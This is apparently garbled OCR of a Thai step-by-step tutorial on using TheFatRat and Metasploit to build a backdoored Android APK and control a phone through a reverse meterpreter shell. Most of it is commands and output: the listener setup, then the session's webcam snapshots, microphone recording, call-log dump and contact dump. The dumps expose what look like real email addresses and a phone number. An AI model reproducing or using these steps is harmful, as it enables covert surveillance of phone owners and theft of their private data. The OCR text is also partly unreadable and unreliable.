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5. 4UADUNTH AAILAL LTI
1.019195man tlswnsu Tae W e U Git . Command &aaiAnds
Git clone https:/github.com/Screec/TheFatRat.git

@3audating path 17 Folder 3 tuan'ls

root@kali: ~/Desktop

5]

4 File Edit View Search Terminal Help
~# git clone https://github.com/Screetsec/TheFatRat,git

Clonlng lnto 'TheFatRat'.
| remote: Counting objects: 445, done.
remote: Compressing objects: 100% (20/20), done.
Nremote: Total 445 (delta 9), reused 0 (delta 0), pack-reused 425
Receiving objects: 100% (445/445), 1.49 MiB | 410.00 KiB/s, done.
Resolving deltas: 100% (227/227), done.
Checking connectivity... done.

:~# cd Desktop/

bash: cd Dackmn/ No_such file or directory
esktop# git clone https://github.com/Screetsec/TheFatRat.git

Cloning 1nt0 'TheFatRat'.
remote: Counting objects: 445, done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 445 (delta 9), reused 0 (delta 0), pack-reused 425
Receiving objects: 100% (445/445), 1.49 MiB | 382.00 KiB/s, done.
Resolving deltas: 100% (227/227), done.
Checking connectivity... done.

:~/Deskton# Nl

2.185aud2 17 Folder s set up 18 cd TheFatRat wdavinn13 %A1 44 cd setup/

# chmod +x setup.sh && ./setup.sh e setup Program

root@kali: ~/Desktop/TheFatRat/setup

File Edit View Search Terminal Help




3 dusialiazinniaitln program FatRat Ine A1 44
# Chmod +x fatrat
# Chmod +x powerfull.sh

# fatrat

root@kali: ~/Desktop/TheFatRat
File Edit View Search Terminal Help

tRat# chmod +x powerfull.sh
/TheFatRat# ./fatrat

4 HipaWaridu 7 fatrat Winn lunsdiag 14 Warkduwi 01 Aaweridi CREAT BACKDOOR WITH MSFVENOM

root@kali: ~/Desktop/TheFatRat

File Edit View Search Terminal Help
; o g~ " ST (Y PSR 1 [N A |

[--1 Backdoor Creator for Remote Acces
[--]

[--]

[x=]

==

[==]

[--1 SELECT AN OPTION TO BEGIN:

CREATE BACKDOOR WITH MSFVENOM

CREATE FUD 100% BACKDOOR ( SLOW BUT POWERFULL )
CREATE FUD BACKDOOR WITH AVOID V1.2

CREATE FUD BACKDOOR WITH BACKDOOR-FACTORY (EMBED)
BACKDOORING ORIGINAL APK FILES WITH METASPLOIT
CREATE FUD BACKDOOR 1000% FUD WITH PwnWind ( EXCELENT )
CREATE A LISTENERS

JUMP TO MSFCONSOLE

SEARCHSPLOIT

CLEANUP

HELP

CREDITS

EXIT

|



5.mthiazliiiaen sruulfiiAnas Tunsiliden 3ANDROID >> FatRat.apk

root@kali: ~/Desktop/TheFatRat
File Edit View Search Terminal Help

MSFVENOM

[1]
[21
[3]
[4]
[5]
[6]
[7]
[8]
[9]

LINUX >> FatRat.elf
WINDOWS >> FatRat.exe
ANDROID >> FatRat.apk
MAC >> FatRat.macho
PHP >> FatRat.php

ASP >> FatRat.asp

JSP >> FatRat.jsp

WAR >> FatRat.war
Python >> FatRat.py

[10] Bash >> FatRat.sh

[11] Perl >> FatRat.pl

[12] doc >> Microsoft.doc ( not macro attack )
[13] rar >> bacdoor.rar ( Winrar old version)
[14] Back to Menu

>> 3'

6.183aua1 Program < liil4d IP LAses(IP v lEannAn &4 # ifconfig)

TunsdiilIP A 10.199.2.59

519 Port:1111 LA5TaLA"

¥

platia W d731589n17 securitysec3

root@kali: ~/Desktop/TheFatRat

File Edit View Search Terminal Help

Bash >> FatRat.sh

Perl >> FatRat.pl

doc >> Microsoft.doc ( not macro attack )
rar >> bacdoor.rar ( Winrar old version)
Back to Menu

> 3

Set LHOST IP: 10.199.2.59

Set LPORT:

1111

Please enter the base name for output files : securitysec3

GUR-Hessaye.

GURDIatoy Tiapped Witiivat a Ciaiisieint pareit. 1iis 15 uiscudraged.

Generate Backdoor

| LHOST
| LPORT

|
+

The Listen Addres |] 10.199.2.59
The Listen Ports |] 1111

OUTPUTNAME The Filename output || securitysec3




7. saliazinni9itln Sever ivaFu App Maa51915 uazvinmsdediayaiinlilae 1A 43

# msfconsole

root@kali: ~/Desktop/TheFatRat

File Edit View Search Terminal Help

:~/Desktop/TheFatRat# msfconsole

dBBBBBBb dBBBP dBBBBBBP dBBEBBb

S dB’ BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP  dBP dBBBBEBB

dBBBBBb dBP dBBBBP dBP dBBBBBBP
dB' dBP dB'.BP
dBBBB' dBP dB'.BP dBP dBP
dBP dBP dB‘.BP dBP dBP
dBP dBBBBP dBBBBP dBP dBP

To boldly go where no
shell has gone before

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

8.183aUd1R91N"7 setpayload android Msna31418 set payload android/meterpreter/reverse_tcp
LA3AUANINNT setIP :10.199.2.59 LAY set port:1111

1@3audn 1Tnnnn195u progress: exploit

root@Kali: ~/Desktop/TheFatRat e ® 0

File Edit View Search Terminal Help
dBP dBBBBP dBBBBP dBP dBP

To boldly go where no
shell has gone before

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

va4

. it ay 1
1577 exploits - 906 auxiliary - 272 post ]
]
]

455 payloads - 39 encoders - 8 nops
=[ Free Metasploit Pro trial: http://r-7.co/trymsp

msf > use exploit/multi/handler

msf expltoity y-set paytuad android/meterpreter/reverse tcp
payload => android/meterpreter/reverse tcp

msf exploit( ) = set lhost 10.199.2.59

lhost => 10.199.2.59

msf exploit( ) = set lport 1111

lport => 1111

msf exploit( ) = exploit

*] Started reverse TCP handler on 10.199.2.59:1111
] Starting the payload handler...




9. LAFALAL LT BUBALIINAZIIINIT connect 1N
w@FaudtlnAds Help aziliaridusinaliiaen

root@Kali: ~/Desktop/TheFatRat
File Edit View Search Terminal Help

Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

[ metasploit |
[ 1577 exploits - auxiliary - 272 post ]
[ 455 payloads - 39 encoders - 8 nops ]
[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

innnn

> use exploit/multi/handler
msf exploit( ) > set payload android/meterpreter/reverse tcp
payload => android/meterpreter/reverse tcp
msf exploit( ) > set lhost 10.199.2.59
lhost => 10.199.2.59
msf exploit( ) > set lport 1111
lport => 1111
msf exploit( ) > exploit

] Started reverse TCP handler on 10.199.2.59:1111
*] Starting the payload handler...
] Sending stage (63194 bytes) to 10.199.2.25
[*] Meterpreter session 1 opened (10.199.2.59:1111 -> 10.199.2.25:61499) at 2016-11-
1 23:33:47 -0500

meterpreter > help

Core Commands

10.1uNTh3avenFaatiWn1g N131TA webcam Ine 1%A1 43 webcam_stream

Weaugatinndesesrupulas s luanunsonsaasuls uazliaranalaly

Metasploit webcam_stream - 10.199.2.25 - Mozilla Firefox @ &
File Edit View Search Metasploit webcam_stre.. x | &

'5) xsgggﬁf;;; .lL. file:///root/Desktop/TheFatRat/AhdUVzsi.html

= webcam_stream--P [& Most Visited v JllOffensive Security "\ Kali Linux “§ Kali Docs

C Target IP : 10.199.2.25
ommands Start time : 2016-11-21 23:34:56 -0500
— tatu —Blaying

Command

activity start
check root
dump_calllog
dump_contacts
dump_sms
geolocate
interval collect
send_sms

set _audio_mode
sqlite_query
wlan_geolocate

www.metasploit.com

...neterpreter > webcam stream
] Starting...
[*] Preparing player...
[*] Opening player at: AhdUVzsi.html
[*] Streaming...
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4 s 1
18T WITULARZUNIA
Applications v Places v Terminal ~
| < > 1« frHome Desktop TheFatRat . output | » Qllzll=l- o
root@kali: ~ e 60
J File Edit View Search Terminal Help

meterpreter >

iCore Commands

background
bgkill
bglist
bgrun

channel

Description

Help menu

Backgrounds the current session

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thre

Displays information or control active channels

Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Help menu

Displays information about a Post module

Drop into irb scripting mode

Load one or more meterpreter extensions

Get the MSF TN nf the machine attached tn the sess

close

disable unicode encoding
enable unicode encoding
exit

get timeouts

help

info

irb

load

machine id

“hack.apk” selected (9.5 kB)

Applications » Places « rminal v

< 4

1 Home

Desktop  TheFatRat | output  »

= | a]
root@kali: ~ e ® 0

File Help
LLUDSEDS a unaiinicu

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Help menu

Displays information about a Post module

Drop into irb scripting mode

Load one or more meterpreter extensions

Get the MSF ID of the machine attached to the sess

Edit View Search Terminal
LiLuse

disable unicode encoding
enable unicode encoding
exit

get timeouts

help

info

irb

load

machine id

quit

read

resource

run

set timeouts
l sleep

Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

Executes a meterpreter script or Post module

Set the current session timeout values

Force Meterpreter to go quiet, then re-establish s

ession.
transport
use
uuid
write

Change the current transport mechanism
Deprecated alias for 'load'

Get the UUID for the current session
Writes data to a channel

“hack.apk” selected (9.5 kB)



plications « Places = Terminal » Sun 1

€ 4 {2 Home _ Desktop _ TheFatRat _ output » | Q L - =SS
root@Kali: ~ e ® 0

File Edit View Search Terminal Help

Read the contents of a file to the screen
Change directory
List files (alias for 1s)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
1pwd Print local working directory
1s List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory

“hack.apk” selected (9.5 kB)

Applications « Places v [ Terminal Sun 19:40
S 4 ¥ Home _ Desktop  TheFatRat .| output  » A L 25 =M S (=)
root@Kali: ~ e ® 0O

File Edit View Search Terminal Help

Networking Commands

Command Description

ifconfig Display interfaces

ipconfig Display interfaces

portfwd Forward a local port to a remote service
route View and modify the routing table

System Commands

Command Description

execute Execute a command

getuid Get the user that the server is running as

ps List running processes

shell Drop into a system command shell

sysinfo Gets information about the remote system, such as 0S

Stdapi: Webcam Commands

“hack.apk” selected (9.5 kB)



(3 Terminal +

File Edit View Search

& \ndroid Commands

Command

activity start
check root
dump_calllog
dump_contacts
dump_sms
aeolocate

< 4 Home Desktop TheFatRat _ output  » Q== =

root@kali: ~
Terminal Help

record mic Record audio from the default microphone for X seconds
webcam chat Start a video chat

webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam
webcam stream Play a video stream from the specified webcam

Description

Start an Android activity from a Uri string
Check if device is rooted

Get call log

Get contacts list

Get sms messages

Get current lat-lona usina aeolocation

“hack.apk” selected (9.5 kB)

' [ o & @ 0 & A &
susaliifluAdatludAdsiiiieans core meterpreter

Applications « Places =

erminal v

< > |l 4 fxHome _Desktop _TheFatRat . output » LQ |

File Edit View Search

root@Kkali: ~
Terminal Help

webcam snap Take a snapshot from the specified webcam
webcam stream Play a video stream from the specified webcam

id Commands

Command

activity start
check root
dump_calllog
dump_contacts
dump_sms
geolocate
interval collect
send sms

set audio mode
sqlite query
wlan_geolocate

Description

Start an Android activity from a Uri string
Check if device is rooted

Get call log

Get contacts list

Get sms messages

Get current lat-long using geolocation
Manage interval collection capabilities
Sends SMS from target session

Set Ringer Mode

Query a SQLite database from storage

Get current lat-long using WLAN information

meterpreter > background
[*] Backgrounding session 5...

msf exploit(

) >

“hack.apk” selected (9.5 kB)



Applications ~

Places =

(3 Terminal +

Mon 09:22

<

2 U4

File Edit View Search Terminal

£ Home

webcam_snap

_Desktop

TheFatRat . output  »
root@kali: ~

Help

Take a snapshot from the specified webcam

webcam stream Play a video stream from the specified webcam

activity start
check root
dump_calllog
dump_contacts
dump_sms
geolocate
interval collect
send sms

set audio mode
sqlite query
wlan_geolocate

meterpreter > bgkill
Usage: bgkill [id]
meterpreter >

Description

Start an Android activity from a Uri string
Check if device is rooted

Get call log

Get contacts list

Get sms messages

Get current lat-long using geolocation
Manage interval collection capabilities
Sends SMS from target session

Set Ringer Mode

Query a SQLite database from storage

Get current lat-long using WLAN information

“hack.apk” selected (9.5 kB)

To direct input to this VM, click inside or press Ctrl+G. I

L

LN

0

<

Applications « Places v [ Terminal Mon 09:20
2> |4 fxHome Deskiop TheFatRat . output & » Q= |l
root@kali: ~
File Edit View Search Terminal Help

SLlTZ0 UY.LU.U/

meterpreter > ?

_ore Commands

Background
bgkill
bglist

bgrun

channel
close

disable unicode encoding
enable unicode encoding

exit

get timeouts
help

info

irb

1

Description

Help menu

Backgrounds the current session

Kills a background meterpreter script
Lists running background scripts

Executes a meterpreter script as a background thre

Displays information or control active channels

Closes a channel

Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session

Get the current session timeout values
Help menu

Displays information about a Post module
Drop into irb scripting mode

Lond soe _ow o P T SRy TP

“hack.apk™ selected (9.5 kB)

To direct input to this VM, click inside or press Ctrl+G.
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(3 Terminal « Mon 09:26

Applications ~ Places v

| 4 _f Home

Desktop _ TheFatRat | output »

root@kali: ~

File Edit View Search Terminal Help

stdapi: File system Commands

Command

download
edit
getlwd
getwd
lcd
1pwd
1s
mkdir
pwd

rm
rmdir
search
upload

Read the contents of a file to the screen
Change directory

List files (alias for 1s)
Download a file or directory
Edit a file

Print local working directory
Print working directory

Change local working directory
Print local working directory
List files

Make directory

Print working directory

Delete the specified file
Remove directory

Search for files

Upload a file or directory

Applications « Places v [ Terminal « Mon 09:30

4 Home

Desktop  TheFatRat | output  »

“hack.apk” selected (9.5 kB)

root@kali: ~

File Edit View Search Terminal Help

rm
rmdir
search
upload

Delete the specified file
Remove directory
Search for files
Upload a file or directory

Stdapi: Networking Commands

O -——-
Command

ifconfig
ipconfig
portfwd
route

Display interfaces

Display interfaces

Forward a local port to a remote service
View and modify the routing table

System Commands

Command

execute
getuid

Description

Execute a command
Get the user that the server is running as

“hack.apk” selected (9.5 kB)

To direct input to this VM, click inside or press Ctrl+G.

= OE@‘D 0

L



&l aesgnu] dischap g

Applications « Places « Terminal v Mon 09:35

4 _fxr Home  Desktop TheFatRat . output »
root@Kkali: ~

File Edit View Search Terminal Help
neterpreter > ps

| °rocess List

/init
kthreadd
ksoftirqd/@
kworker/0:0H
kworker/u8:0
migration/0
rcu_preempt
rcu_bh
rcu_sched
migration/1
ksoftirqd/1
kworker/1:0
kworker/1:0H
migration/2
ksoftirqd/2
kworker/2:0
kworker/2:0H

WOONDUIWN -

“hack.apk” selected (9.5 kB)
To direct input to this VM, click inside or press Ctrl+G. Deamwme a [

tuflunns 1A process 1 Run agflaqiii

Applications = Places v [ Terminal = Mon 09:36

> | 4 fx Home Desktop TheFatRat | output  »
root@Kkali: ~

File Edit View Search Terminal Help

Description

activity start Start an Android activity from a Uri string
check root Check if device is rooted

dump calllog Get call log

dump_contacts Get contacts list

dump_sms Get sms messages

geolocate Get current lat-long using geolocation
interval collect Manage interval collection capabilities
send_sms Sends SMS from target session

set audio_mode Set Ringer Mode

sqlite query Query a SQLite database from storage

wlan _aenlncate Get _current lat-long using Wl AN infarmation

meterpreter > sysinfo

¢ lutatiost

- Linux 3.10.49-g61b432e (armv71l)

meterpreter > |j

“hack.apk” selected (9.5 kB)

To direct input to this VM, click inside or press Ctrl+G. [=YOR LW 7



Applications « Places v [ Terminal v Mon 09:37

output  »
root@kali: ~

activity start Start an Android activity from a Uri string
check root Check if device is rooted

dump_calllog Get call log

dump_contacts Get contacts list

dump_sms Get sms messages

geolocate Get current lat-long using geolocation
interval collect Manage interval collection capabilities
send_sms Sends SMS from target session

set_audio mode Set Ringer Mode

sqlite query Query a SQLite database from storage
wlan_geolocate Get current lat-long using WLAN information

meterpreter > sysinfo
= Computer : localhost
0S : Android 5.1.1 - Linux 3.10.49-g61b432e (armv71)
Meterpireter « iava/anuioid
meterpreter > getuid
Server usernaie. ul al24
meterpreter > |

“hack.apk” selected (9.5 kB)
To direct input to this VM, click inside or press Ctrl+G. 2% @ ‘bd 4 = 7

Afluan e dadaathunan 103

Applications v Places v Terminal v Mon 09:38
= 4 _fx Home  Desktop  TheFatRat . output | » lQ s =l - o
root@kali: ~ e o0

File Edit View Search Terminal Help

activity start Start an Android activity from a Uri string
check root Check if device is rooted

dump_calllog Get call log

dump_contacts Get contacts list

dump_sms Get sms messages

geolocate Get current lat-long using geolocation
interval collect Manage interval collection capabilities
send sms Sends SMS from target session

set audio mode Set Ringer Mode

sqlite query Query a SQLite database from storage

wlan geolocate Get current lat-long using WLAN information

eterpreter > sysinfo
: localhost
: Android 5.1.1 - Linux 3.10.49-g61b432e (armv71)
Meterpreter : java/android
meterpreter > getuid
* Server username: u@ al24
meterpreter > record mic 10
[*] Starting...
[*] Stopped
Audio saved to: /root/MULAwbBv.wav
meterpreter > |

“hack.apk” selected (9.5 kB)
To direct input to this VM, click inside or press Ctrl+G. (=R 'E @ﬂ I ] [




Andatln webcam chat Shutlalaldwsn e Insdulud

Applications « Places v [ Terminal + Mon 09:38

| <> 4 fxHome Desktop TheFatRat | output | » allzll=1l- o
root@kali: ~ e ® 0

File Edit View Search Terminal Help

dump_contacts Get contacts list =
dump_sms Get sms messages

geolocate Get current lat-long using geolocation

interval collect Manage interval collection capabilities

send_sms Sends SMS from target session

set _audio mode Set Ringer Mode

sqlite_query Query a SQLite database from storage

wlan_geolocate Get current lat-long using WLAN information

meterpreter > sysinfo
Computer : localhost
: Android 5.1.1 - Linux 3.10.49-g61b432e (armv71)
Meterpreter : java/android
eterpreter > getuid
Server username: u@ al24
mmeterpreter > record mic 10
[*] Starting...
[*] Stopped
" /AUA10 Saved Tu. /iuulsrivLAwdBY.waVv
meterpreter > webcam chat
[*] Webcam chat sessiun inicialized.
Error running command webcam chat: RuntimeError Unable to find a suitable br
owser on the target machine
meterpreter > ]

“hack.apk” selected (9.5 kB)

To direct input to this VM, click inside or press Ctrl+G. ) &4 El \"d 5l | [

Applications « Places « Terminal « Mon 09:39
G 4 _fx Home _ Desktop  TheFatRat . output  » lall=ll= =MD
root@Kkali: ~ @ ® O

File Edit View Search Terminal Help

interval collect Manage interval collection capabilities
send _sms Sends SMS from target session

set audio mode Set Ringer Mode

sqlite query Query a SQLite database from storage
wlan_geolocate Get current lat-long using WLAN information

meterpreter > sysinfo
© Computer : localhost
0S : Android 5.1.1 - Linux 3.10.49-g61b432e (armv71)
Meterpreter : java/android
meterpreter > getuid

meterpreter > record mic 10
*] Starting...
*] Stopped

meterpreter > webcam chat
[*] Webcam chat session initialized.
Error—running d_weobsamchatRuntimebrror lUnablo to find.-2
owser on the target mac
meterpreter > webcam list
1: Back Camera
2: Front Camera
meterpreter > ||

“hack.apk” selected (9.5 kB)

To direct input to this VM, click inside or press Ctrl+G. Qew|eog=| 0




Applications « Places v  [Q Image Viewer v Mon 09:41

4 fx Home Desktop TheFatRat | output | »

ile Edit View Search Terminal Acdigaekjpeg " = © @ ©

+] Got frame
- [*] Stopped Properties X
W WWebcam shot saved to: /root/» . :
meterpreter > webcam snap 2 160 x 120 pixels
N (] Starting... JPEG image
M [+] Got frame Size 19.0 kB
¢ *] Stopped
v Wiebcam shot saved to: /root/y
preterpreter > webcam snap 2 Aperture £12.6
] Starting... :
+] Got frame | ire 1/60 sec.
*] Stopped ocal Length 0.0 (35mm film),
ebcam shot saved to: /root/( — 2.7 (lens)
= meterpreter > webcam snap 2 e S0 200
= =5
¥ ] Starting... " :
ol [+] Got frame Metering Center-
*] Stopped weighted
ebcam shot saved-te.i—lrootil average
meterpreter :» webcam snap 2 Camera LG-K330
*] Starting...
|[+] Got frame
*] Stopped
Webcam shot saved to: /root/Acdigaek.jpeg
8 neterpreter > []

Folder root

“hack.apk” selected (9.5 kB)

To direct input to this VM, click inside or press Ctrl+G. =l E ‘EH | [J

Applications v Places v Terminal « Mon 09:42

€ > |4 fxHome Deskiop TheFatRat | output @ »
root@kali: ~

File Edit View Search Terminal Help

check root Check if device is rooted

dump_calllog Get call log

dump_contacts Get contacts list

dump_sms Get sms messages

geolocate Get current lat-long using geolocation
interval collect Manage interval collection capabilities
send_sms Sends SMS from target session

set audio mode Set Ringer Mode

sqlite query Query a SQLite database from storage
wlan_geolocate Get current lat-long using WLAN information

Immeterpreter > webcam stream
[*] Starting...
*] Preparing player...
[*] Opening player at: HkwpwZZc.html
ol [*] Streaming...
A2C Error _runnina command wobcam ctream: Interrunt
|meterpretier > webcam stream
[*] Starting v
[*] Preparing player...
[*] Opening player at: wYhxnjQJ.html
[*] Streaming...
GG Error running command webcam stream: Interrupt
meterpreter >

“hack.apk” selected (9.5 kB)

To direct @r)putto this VM, click inside or press Ctrl+G. N (= Eﬂ ‘t‘d o U= [J



Applications v Places = Terminal + Mon 09:43

4 fx Home _ Desktop TheFatRat . output  »
root@Kkali: ~

File Edit View Search Terminal Help
send sms Sends SMS from target session
set audio mode Set Ringer Mode
sqlite query Query a SQLite database from storage
wlan geolocate Get current lat-long using WLAN information

[jmeterpreter > webcam stream
[*] Starting...
© [*] Preparing player...
[*] Opening player at: HkwpwZZc.html
JUR Streaming. ..
e Error running command webcam stream: Interrupt
{mmeterpreter > webcam stream
[*] Starting...
*]1 Preparing player...
[*] Opening player at: wYhxnjQJ.html
mi | *1 Streaming...
o€ Error running command webcam stream: Interrupt
meterpreter > activity start

* llcane: arctivity ctart <curis
f S 3=

!Start an Android activity from 3 uri

meterpreter > check root
[+] Device is rooted

meterpreter > |j

“hack.apk” selected (9.5 kB)
[J

To direct input to this VM, click inside or press Ctrl+G. = g E @g v

Applications « Places v |5 Text Editor = Mon 09:47

calllog_-dump._-20161122074202... | Save | ®@e® ©

OF’e” v j|a| /Desktop/TheFatRat

sms.dump-20161122120630.txt X calllog-dump_20161122074202.txt

¥] Startin
*] Prepari
*] Opening
B *] Streamin
gic Error
Mmeterpreter
*] Starting
w [*] Preparin
& [*] Opening
[ ] Streamin
RO e - 0879469924
WiUsage: acti\iaed : P' Bow
Y Date : Mon Nov 21 12:23:17 GMT+07:00 2016
Type : INCOMING
Duration: 35

s_

Date: 2016-11-22 07:42:02 -0500

0S: Android 5.0 - Linux 3.4.39-5764310 (armv71)
Remote IP: 10.199.2.25

Remote Port: 62648

#1

% Start an Ang
meterpreter
g +] Device i

meterpreter | ~ e
meterpreter > dump calllog
E *] Fetching YoU entries
*] Call log saved to calllog dump 20161128094624.txt
eterpreter > []

Tab Width: 8 = Ln1, Coll

Plain Text »

To direct input to this VM, click inside or press Ctrl+G. SsBdgE| 0



Applications « Places v itor Mon 09:49

o ToTtactS—tump=20161128094 74

ST T T
¢ null
: null

: null

: null

: twachi@kku.ac.th

: gprofile:-7762823265264950110
: twachi@kku.ac.th

activit {{EN : €5322222@gmail.com
g Number @ null
Ul N Number @ null

(UL B Number @ null

CEICh Number  : null

SRR Number @ ¢5322222@gmail. com

SWGEEIB Number @ gprofile:-6385527834603597853

set_aud: ¢ €5322222@gmail.com

sqlite

wlan_ge( Plain Text v  Tab Width: 8 = Ln1, Coll

neterpreter > dump_contacts

*] Fetching 277 contacts into list

¥] Contacts list saved to: contacts dump 20161128094745.txt
nheterpreter > []

To direct input to this VM, click inside or press Ctrl+G. W gE| D



